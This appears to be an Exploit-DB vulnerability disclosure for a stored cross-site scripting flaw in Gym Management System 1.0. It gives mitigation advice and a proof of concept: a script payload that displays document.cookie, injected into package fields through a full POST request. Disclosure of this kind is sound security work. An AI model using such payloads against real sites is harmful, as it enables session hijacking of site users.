Gym Management System 1.0 - Stored Cross Site Scripting

vendor:

Gym Management System

by:

Jyotsna Adhana

8.8

CVSS

HIGH

Stored Cross Site Scripting

CWE

Product Name: Gym Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:gym_management_system:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

2020

Gym Management System 1.0 – Stored Cross Site Scripting

A stored cross-site scripting vulnerability exists in the Gym Management System 1.0 web application. An attacker can exploit this vulnerability by injecting malicious JavaScript code into the Package Name and Description fields. When a user visits the page, the malicious code will be executed in the user's browser.

Mitigation:

Input validation should be used to prevent malicious code from being stored in the database. Additionally, output encoding should be used to prevent malicious code from being executed.

Source

Exploit-DB raw data:

# Exploit Title: Gym Management System 1.0 - Stored Cross Site Scripting
# Date: 21/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14541/gym-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14541&title=Gym+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/gym/gym/index.php?page=packages

Step 2: use payload <script>alert(document.cookie)</script> in Package Name and Description field

Malicious Request
POST /gym/gym/ajax.php?action=save_package HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------10391575234966392972740129710
Content-Length: 587
Origin: http://localhost
Connection: close
Referer: http://localhost/gym/gym/index.php?page=packages
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re; laravel_session=eyJpdiI6IlBXakg2NzB1cVBEWVZtemIwVzZ6NVE9PSIsInZhbHVlIjoiU2dsaTN1alRCXC9cL1I5dnNzRDlPRDlXTDZ4UUFiakhlN0JLVzB4MnpOVVZibnpISDNFS1k3YjdzWWM2UWRzVEZyIiwibWFjIjoiZGRmODE1NGFhN2JhY2U2NTNhOWU1MzViMjFjYWExM2UzNzYwN2QzZDZmNDQwNjcyMjA1MjJiYTI2NDU2Y2Q1MSJ9; XSRF-TOKEN=eyJpdiI6IlBSMFVNT3NoYkNNVTRpQzNDRHNDNXc9PSIsInZhbHVlIjoiSmF2WXRabHhCZHNZdVlmd1RGeU1pakdoT2JQaWdvcFgzK1QzeFJ6YzRiVGZ5VGdMcmp6SlMrbVl4cnZucG9OZSIsIm1hYyI6Ijc2NzA5MjYzM2E2NjgwMWZlZmFlM2JlOTI2ZmI2YTA3NmE2M2FiYjdlN2E2NzI1NmVhZjA2N2FmOTgwOTlkZGUifQ%3D%3D

-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="id"


-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="package"

<script>alert(document.cookie)</script>
-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="description"

<script>alert(document.cookie)</script>
-----------------------------10391575234966392972740129710
Content-Disposition: form-data; name="amount"

1
-----------------------------10391575234966392972740129710--

Step 3: Cookie will be reflected each time someone visits the Packages section.